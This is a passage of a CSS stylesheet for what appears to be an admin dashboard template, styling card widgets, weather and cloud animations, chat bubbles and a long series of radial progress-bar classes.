  color: #0177b4; }
  .sos-st-card.linkedin h3 i {
    background-color: #0177b4;
    border-color: #37bafe; }
.sos-st-card.dribble h3 {
  color: #ea4c89; }
  .sos-st-card.dribble h3 i {
    background-color: #ea4c89;
    border-color: #f7bed4; }
.sos-st-card:hover h3 i {
  transform: scale(1.2) rotate(35deg); }
@media only screen and (max-width: 768px) {
  .sos-st-card h3 i {
    font-size: 16px;
    width: 35px;
    height: 35px;
    padding: 7px 0;
    margin-right: 0;
    border-width: 3px;
    margin-left: -10px; }
  .sos-st-card h5:after {
    display: none; } }

.wather-card {
  overflow: hidden; }
  .wather-card .wather-card-top {
    position: relative;
    overflow: hidden;
    min-height: 200px;
    background: linear-gradient(to bottom, #7a9af5, rgba(90, 179, 243, 0.5)); }
    .wather-card .wather-card-top .wave {
      position: absolute;
      left: 0;
      right: 0;
      top: auto;
      bottom: 0;
      z-index: 1; }
      .wather-card .wather-card-top .wave + .wave {
        z-index: 2; }
        .wather-card .wather-card-top .wave + .wave + .wave {
          z-index: 3; }
    .wather-card .wather-card-top .sun {
      background: #fff;
      position: absolute;
      top: 50px;
      left: 50px;
      width: 30px;
      height: 30px;
      border-radius: 50%; }
      .wather-card .wather-card-top .sun:after, .wather-card .wather-card-top .sun:before {
        content: "";
        width: 100%;
        height: 100%;
        border-radius: 50%;
        position: absolute;
        box-shadow: inset 0 0 20px 5px rgba(255, 255, 255, 0.4); }
      .wather-card .wather-card-top .sun:after {
        animation: sunwawe 2.1s cubic-bezier(0.65, 0.815, 0.735, 0.395) infinite; }
      .wather-card .wather-card-top .sun:before {
        animation: sunwawe 2.1s cubic-bezier(0.165, 0.84, 0.44, 1) infinite;
        animation-delay: 1.15s; }
    .wather-card .wather-card-top .w-star1,
    .wather-card .wather-card-top .w-star2 {
      position: absolute;
      top: 0;
      left: 0;
      width: 100%; }
    .wather-card .wather-card-top .w-star1 {
      animation: sparcle 2.1s cubic-bezier(0.65, 0.815, 0.735, 0.395) infinite; }
    .wather-card .wather-card-top .w-star2 {
      animation: sparcle 2.1s cubic-bezier(0.165, 0.84, 0.44, 1) infinite;
      animation-delay: 1.15s; }
    .wather-card .wather-card-top .w-cloud {
      position: absolute;
      right: 30px;
      top: 60px;
      opacity: 0;
      animation: w-cluod 15s linear infinite; }

@keyframes w-cluod {
  0% {
    opacity: 0;
    transform: translate(0px, 0px); }
  20% {
    opacity: 0.8;
    transform: translate(30px, -25px); }
  40% {
    opacity: 1;
    transform: translate(0px, 0px); }
  60% {
    opacity: 0.6;
    transform: translate(-30px, 25px); }
  80% {
    opacity: 0.5;
    transform: translate(0px, 0px); }
  80% {
    opacity: 0;
    transform: translate(0px, 0px); } }
@keyframes sparcle {
  0% {
    opacity: 1; }
  50% {
    opacity: 0; } }
@keyframes sunwawe {
  0% {
    transform: scale(1);
    opacity: 1; }
  100% {
    transform: scale(4);
    opacity: 0; } }
.comp-card i {
  color: #fff;
  width: 50px;
  height: 50px;
  border-radius: 5px;
  text-align: center;
  padding: 17px 0;
  font-size: 18px;
  text-shadow: 0 6px 8px rgba(62, 57, 107, 0.18);
  transition: all 0.3s ease-in-out; }
.comp-card:hover i {
  border-radius: 50%; }

.proj-t-card {
  position: relative;
  overflow: hidden; }
  .proj-t-card .pt-badge {
    color: #fff;
    margin-bottom: 0;
    display: inline-block;
    padding: 60px 50px 20px 20px;
    border-radius: 50%;
    position: absolute;
    top: -45px;
    right: -35px;
    transition: all 0.3s ease-in-out;
    box-shadow: 0 5px 7px 0 rgba(62, 57, 107, 0.18); }
  .proj-t-card:hover .pt-badge {
    padding: 65px 55px 30px 30px;
    text-shadow: 0 3px 5px rgba(62, 57, 107, 0.5);
    box-shadow: 0 4px 4px 0 rgba(62, 57, 107, 0.3); }

.prod-p-card i {
  background-color: #fff;
  width: 40px;
  height: 40px;
  border-radius: 50%;
  text-align: center;
  padding: 11px 0;
  font-size: 18px;
  transition: all 0.3s ease-in-out;
  box-shadow: 0 8px 15px rgba(62, 57, 107, 0.2); }
.prod-p-card:hover i {
  box-shadow: 0 4px 4px rgba(62, 57, 107, 0.2);
  transform: scale(0.9) translatey(5px); }

.ticket-card .lbl-card {
  box-shadow: 0 5px 4px -2px rgba(51, 51, 51, 0.16);
  border-radius: 5px;
  padding: 5px 15px;
  color: #fff;
  display: inline-block; }

.analytic-card .analytic-icon {
  width: 50px;
  height: 50px;
  text-align: center;
  padding: 17px 0;
  border-radius: 50%;
  background-color: #fff;
  transition: all 0.3s ease-in-out;
  box-shadow: 0 8px 15px 0 rgba(51, 51, 51, 0.2); }
.analytic-card:hover .analytic-icon {
  box-shadow: 0 4px 4px rgba(62, 57, 107, 0.2);
  transform: rotate(-15deg) translatey(5px); }

.social-res-card .progress {
  height: 6px; }

.product-progress-card .progress {
  height: 6px; }
.product-progress-card .pp-cont {
  padding-left: 15px;
  padding-right: 15px;
  position: relative; }
  .product-progress-card .pp-cont:after {
    content: "";
    background: #d2d2d2;
    width: 1px;
    height: 100%;
    position: absolute;
    top: 0;
    left: -15px; }
.product-progress-card .pp-main > div:first-child .pp-cont:after {
  display: none; }
@media only screen and (max-width: 992px) {
  .product-progress-card .pp-cont {
    margin-top: 15px;
    margin-bottom: 15px; }
    .product-progress-card .pp-cont:after {
      display: none; } }

.social-card h2 {
  text-shadow: 0 8px 15px rgba(51, 51, 51, 0.2);
  transition: all 0.3s ease-in-out; }
.social-card:hover h2 {
  text-shadow: 0 4px 4px rgba(51, 51, 51, 0.2);
  transform: scale(0.9) translatey(5px); }

.user-card {
  overflow: hidden; }
  .user-card .user-img {
    border-radius: 50%;
    display: flex;
    align-items: center;
    width: 80px;
    height: 80px;
    margin: 0 auto;
    position: relative;
    box-shadow: 0 8px 15px 0 rgba(51, 51, 51, 0.2); }
    .user-card .user-img h5 {
      margin: 0 auto; }
    .user-card .user-img .link-share {
      position: absolute;
      padding: 4px 0;
      right: 0;
      bottom: 0;
      border-radius: 50%;
      width: 25px;
      height: 25px;
      background: #fff;
      color: #666;
      box-shadow: 0 8px 15px 0 rgba(51, 51, 51, 0.2); }
  .user-card .user-sub-img {
    position: relative;
    margin: 30px 0 10px;
    padding-top: 30px; }
    .user-card .user-sub-img > img {
      width: 30px;
      cursor: pointer;
      margin: 5px; }
    .user-card .user-sub-img:after {
      content: "";
      width: 30px;
      height: 1px;
      background: #2b2b2b;
      position: absolute;
      top: 0;
      right: calc(50% - 15px); }
  .user-card .f-btn {
    cursor: pointer;
    transition: all 0.3s ease-in-out; }
    .user-card .f-btn a {
      transition: all 0.3s ease-in-out; }
    .user-card .f-btn:hover {
      background-color: #99caff;
      box-shadow: inset 0 5px 7px -3px rgba(43, 43, 43, 0.15); }
      .user-card .f-btn:hover a {
        color: #007bff; }

.soc-cont-card {
  color: #fff;
  position: relative;
  overflow: hidden; }
  .soc-cont-card .soc-slider {
    margin-right: 85px; }
  .soc-cont-card .soc-cont-icon {
    color: #fff;
    font-size: 50px;
    width: 100px;
    text-align: center;
    position: absolute;
    right: 0;
    top: 20px; }
  .soc-cont-card .num-block {
    background: #fff;
    color: #ef4153;
    padding: 8px 15px;
    display: inline-block;
    margin: 5px 0 10px;
    border-radius: 5px;
    box-shadow: inset 0 1px 3px -1px rgba(43, 43, 43, 0.25); }
    .soc-cont-card .num-block + .num-block {
      margin-left: 15px; }
    .soc-cont-card .num-block i {
      font-size: 16px;
      opacity: 1; }
  .soc-cont-card .card-block {
    margin-bottom: 20px;
    padding-bottom: 10px; }
  .soc-cont-card:after {
    content: "";
    background: rgba(255, 255, 255, 0.5);
    height: 20px;
    width: 100%;
    position: absolute;
    bottom: 0;
    left: 0; }
  @media only screen and (max-width: 575px) {
    .soc-cont-card .soc-slider {
      margin-right: 0; }
    .soc-cont-card .soc-cont-icon {
      font-size: 40px;
      width: 50px;
      top: auto;
      bottom: 35px; } }

.st-cir-card {
  position: relative;
  overflow: hidden; }
  .st-cir-card .st-bt-lbl {
    font-size: 60px;
    font-weight: 700;
    opacity: 0.3;
    position: absolute;
    bottom: -30px;
    right: -5px; }
  .st-cir-card .st-cir-chart {
    position: relative; }
    .st-cir-card .st-cir-chart h5 {
      position: absolute;
      margin-bottom: 0;
      top: 50%;
      left: 50%;
      transform: translate(-50%, -50%); }
  .st-cir-card .ct-series-a .ct-slice-donut {
    stroke: #fff; }
  .st-cir-card.card-red .ct-series-b path {
    stroke: #fa97ab; }
  .st-cir-card.card-blue .ct-series-b path {
    stroke: #66b0ff; }
  .st-cir-card.card-green .ct-series-b path {
    stroke: #7ee3b8; }
  .st-cir-card.card-yellow .ct-series-b path {
    stroke: #fdb5a4; }

.prod-bar-card .pbc-chart {
  width: 50px;
  margin: 0 auto 10px; }
.prod-bar-card .radial-bar:after {
  box-shadow: 0 0 3px #fff; }

.sale-card .s-chart {
  position: relative; }
  .sale-card .s-chart .bottom-line {
    background: #ccc;
    position: absolute;
    width: 80px;
    height: 3px;
    bottom: 30px;
    left: 50%;
    transform: translatex(-50%); }
.sale-card .radial-bar {
  margin: 15px 0 35px; }
  .sale-card .radial-bar > img {
    box-shadow: 0 0 0 8px #fff; }
.sale-card .s-caption {
  width: 20px;
  height: 20px;
  border-radius: 5px;
  display: inline-block;
  vertical-align: super;
  margin-right: 5px; }
.sale-card .progress {
  height: 5px; }
.sale-card .tot-rev-chart {
  position: relative;
  margin: 0 auto; }
  .sale-card .tot-rev-chart .ct-series-b path {
    stroke: #fff; }
  .sale-card .tot-rev-chart .ct-series-a .ct-slice-donut {
    stroke: #fb6340; }
  .sale-card .tot-rev-chart h3 {
    position: absolute;
    margin-bottom: 0;
    top: 50%;
    left: 50%;
    transform: translate(-50%, -50%); }

.new-cust-card img {
  border: 2px solid #fff;
  box-shadow: 0 5px 10px 0 rgba(43, 43, 43, 0.2); }
.new-cust-card h6 {
  margin-bottom: 0; }
.new-cust-card .align-middle {
  position: relative; }
  .new-cust-card .align-middle .status {
    position: absolute;
    right: 0;
    top: 19px;
    font-size: 13px; }
    .new-cust-card .align-middle .status.active {
      width: 10px;
      height: 10px;
      border-radius: 50%;
      background: #2dce89; }

.table-card .card-block {
  padding-left: 0;
  padding-right: 0;
  padding-top: 0; }
  .table-card .card-block .table > thead > tr > th {
    border-top: 0; }
  .table-card .card-block .table tr td:first-child,
  .table-card .card-block .table tr th:first-child {
    padding-left: 20px; }
  .table-card .card-block .table tr td:last-child,
  .table-card .card-block .table tr th:last-child {
    padding-right: 20px; }
  .table-card .card-block .table.without-header tr:first-child td {
    border-top: none; }
.table-card .p-status {
  width: 10px;
  height: 10px;
  border-radius: 50%; }

.latest-update-card .card-block {
  padding-top: 0; }
  .latest-update-card .card-block .latest-update-box {
    position: relative; }
    .latest-update-card .card-block .latest-update-box:after {
      content: "";
      position: absolute;
      background: #ebebeb;
      height: 100%;
      width: 3px;
      top: 0;
      left: 19px;
      z-index: 1; }
    .latest-update-card .card-block .latest-update-box .update-meta {
      z-index: 2; }
      .latest-update-card .card-block .latest-update-box .update-meta .update-icon {
        width: 30px;
        height: 30px;
        border-radius: 50%;
        text-align: center;
        padding: 7px 8px;
        font-size: 16px;
        color: #fff; }
        .latest-update-card .card-block .latest-update-box .update-meta .update-icon.bg-red {
          box-shadow: 0 0 0 4px rgba(245, 54, 92, 0.5); }
        .latest-update-card .card-block .latest-update-box .update-meta .update-icon.bg-blue {
          box-shadow: 0 0 0 4px rgba(0, 123, 255, 0.5); }
        .latest-update-card .card-block .latest-update-box .update-meta .update-icon.bg-green {
          box-shadow: 0 0 0 4px rgba(45, 206, 137, 0.5); }
        .latest-update-card .card-block .latest-update-box .update-meta .update-icon.bg-yellow {
          box-shadow: 0 0 0 4px rgba(251, 99, 64, 0.5); }
        .latest-update-card .card-block .latest-update-box .update-meta .update-icon.ring {
          border-width: 3px;
          width: 15px;
          height: 15px;
          padding: 0;
          display: block;
          margin-left: 13px;
          background: #fff; }
      .latest-update-card .card-block .latest-update-box .update-meta i.update-icon {
        margin-left: 4px;
        margin-right: 19px; }
      .latest-update-card .card-block .latest-update-box .update-meta img.update-icon {
        padding: 0;
        width: 40px;
        height: 40px; }
    @media only screen and (max-width: 575px) {
      .latest-update-card .card-block .latest-update-box:after {
        display: none; }
      .latest-update-card .card-block .latest-update-box .update-meta {
        z-index: 2;
        min-width: 100%;
        text-align: left !important;
        margin-bottom: 15px;
        border-top: 1px solid #f1f1f1;
        padding-top: 15px; } }

.testimonial-card .progress {
  height: 5px; }
.testimonial-card .review-block .cust-img {
  width: 50px;
  height: 50px; }
.testimonial-card .review-block > div {
  padding-top: 15px;
  padding-bottom: 15px;
  margin-left: 0;
  margin-right: 0;
  padding-left: 5px;
  padding-right: 5px; }
  .testimonial-card .review-block > div:hover {
    background-color: rgba(0, 123, 255, 0.1); }

.feed-card h6 {
  margin-top: 7px; }
.feed-card .feed-icon {
  color: #fff;
  border-radius: 50%;
  width: 30px;
  height: 30px;
  text-align: center;
  padding: 8px 9px; }

.chat-card .msg {
  margin-bottom: 5px;
  display: inline-block;
  padding: 10px;
  position: relative; }
  .chat-card .msg img {
    width: 60px;
    border-radius: 5px;
    margin-bottom: 5px;
    margin-top: 5px;
    margin-right: 10px; }
.chat-card .received-chat .msg {
  background: rgba(0, 123, 255, 0.1);
  border-radius: 0 5px 5px 5px;
  box-shadow: 2px 3px 7px 0 rgba(43, 43, 43, 0.15); }
  .chat-card .received-chat .msg:after {
    content: "";
    position: absolute;
    left: -7px;
    top: -7px;
    transform: rotate(45deg);
    border: 7px solid transparent;
    border-bottom-color: rgba(0, 123, 255, 0.1); }
.chat-card .send-chat {
  text-align: right; }
  .chat-card .send-chat .msg {
    background: rgba(45, 206, 137, 0.1);
    border-radius: 5px 0 5px 5px;
    box-shadow: -2px 3px 7px 0 rgba(43, 43, 43, 0.15); }
    .chat-card .send-chat .msg:after {
      content: "";
      position: absolute;
      right: -7px;
      top: -7px;
      transform: rotate(45deg);
      border: 7px solid transparent;
      border-right-color: rgba(45, 206, 137, 0.1); }

/* -------------------------------------
 * Bar container
 * ------------------------------------- */
.radial-bar {
  position: relative;
  display: inline-block;
  border-radius: 50%;
  background-color: transparent;
  margin-bottom: 20px;
  -webkit-box-sizing: content-box;
  -moz-box-sizing: content-box;
  box-sizing: content-box;
  width: 80px;
  height: 80px;
  font-size: 18px; }

.radial-bar:after,
.radial-bar > img {
  display: inline-block;
  position: absolute;
  top: 0;
  left: 0;
  border-radius: 50%;
  text-align: center;
  font-weight: 500;
  color: #455a64; }

.radial-bar:after {
  content: attr(data-label);
  background-color: #fff;
  z-index: 55; }

.radial-bar > img {
  z-index: 102; }

.radial-bar:after,
.radial-bar > img {
  width: 56px;
  height: 56px;
  margin-left: 12px;
  margin-top: 12px;
  line-height: 56px; }

.radial-bar.radial-bar-0 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar.radial-bar-5 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar.radial-bar-10 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar.radial-bar-15 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar.radial-bar-20 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar.radial-bar-25 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar.radial-bar-30 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar.radial-bar-35 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar.radial-bar-40 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar.radial-bar-45 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar.radial-bar-50 {
  background-image: linear-gradient(270deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar.radial-bar-55 {
  background-image: linear-gradient(288deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar.radial-bar-60 {
  background-image: linear-gradient(306deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar.radial-bar-65 {
  background-image: linear-gradient(324deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar.radial-bar-70 {
  background-image: linear-gradient(342deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar.radial-bar-75 {
  background-image: linear-gradient(360deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar.radial-bar-80 {
  background-image: linear-gradient(378deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar.radial-bar-85 {
  background-image: linear-gradient(396deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar.radial-bar-90 {
  background-image: linear-gradient(414deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar.radial-bar-95 {
  background-image: linear-gradient(432deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar.radial-bar-100 {
  background-image: linear-gradient(450deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-primary.radial-bar-0 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-primary.radial-bar-5 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-primary.radial-bar-10 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-primary.radial-bar-15 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-primary.radial-bar-20 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-primary.radial-bar-25 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-primary.radial-bar-30 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-primary.radial-bar-35 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-primary.radial-bar-40 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-primary.radial-bar-45 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-primary.radial-bar-50 {
  background-image: linear-gradient(270deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-primary.radial-bar-55 {
  background-image: linear-gradient(288deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-primary.radial-bar-60 {
  background-image: linear-gradient(306deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-primary.radial-bar-65 {
  background-image: linear-gradient(324deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-primary.radial-bar-70 {
  background-image: linear-gradient(342deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-primary.radial-bar-75 {
  background-image: linear-gradient(360deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-primary.radial-bar-80 {
  background-image: linear-gradient(378deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-primary.radial-bar-85 {
  background-image: linear-gradient(396deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-primary.radial-bar-90 {
  background-image: linear-gradient(414deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-primary.radial-bar-95 {
  background-image: linear-gradient(432deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-primary.radial-bar-100 {
  background-image: linear-gradient(450deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-success.radial-bar-0 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-success.radial-bar-5 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-success.radial-bar-10 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-success.radial-bar-15 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-success.radial-bar-20 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-success.radial-bar-25 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-success.radial-bar-30 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-success.radial-bar-35 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-success.radial-bar-40 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-success.radial-bar-45 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-success.radial-bar-50 {
  background-image: linear-gradient(270deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-success.radial-bar-55 {
  background-image: linear-gradient(288deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-success.radial-bar-60 {
  background-image: linear-gradient(306deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-success.radial-bar-65 {
  background-image: linear-gradient(324deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-success.radial-bar-70 {
  background-image: linear-gradient(342deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-success.radial-bar-75 {
  background-image: linear-gradient(360deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-success.radial-bar-80 {
  background-image: linear-gradient(378deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-success.radial-bar-85 {
  background-image: linear-gradient(396deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-success.radial-bar-90 {
  background-image: linear-gradient(414deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-success.radial-bar-95 {
  background-image: linear-gradient(432deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-success.radial-bar-100 {
  background-image: linear-gradient(450deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-info.radial-bar-0 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-info.radial-bar-5 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-info.radial-bar-10 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-info.radial-bar-15 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-info.radial-bar-20 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-info.radial-bar-25 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-info.radial-bar-30 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-info.radial-bar-35 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-info.radial-bar-40 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-info.radial-bar-45 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-info.radial-bar-50 {
  background-image: linear-gradient(270deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-info.radial-bar-55 {
  background-image: linear-gradient(288deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-info.radial-bar-60 {
  background-image: linear-gradient(306deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-info.radial-bar-65 {
  background-image: linear-gradient(324deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-info.radial-bar-70 {
  background-image: linear-gradient(342deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-info.radial-bar-75 {
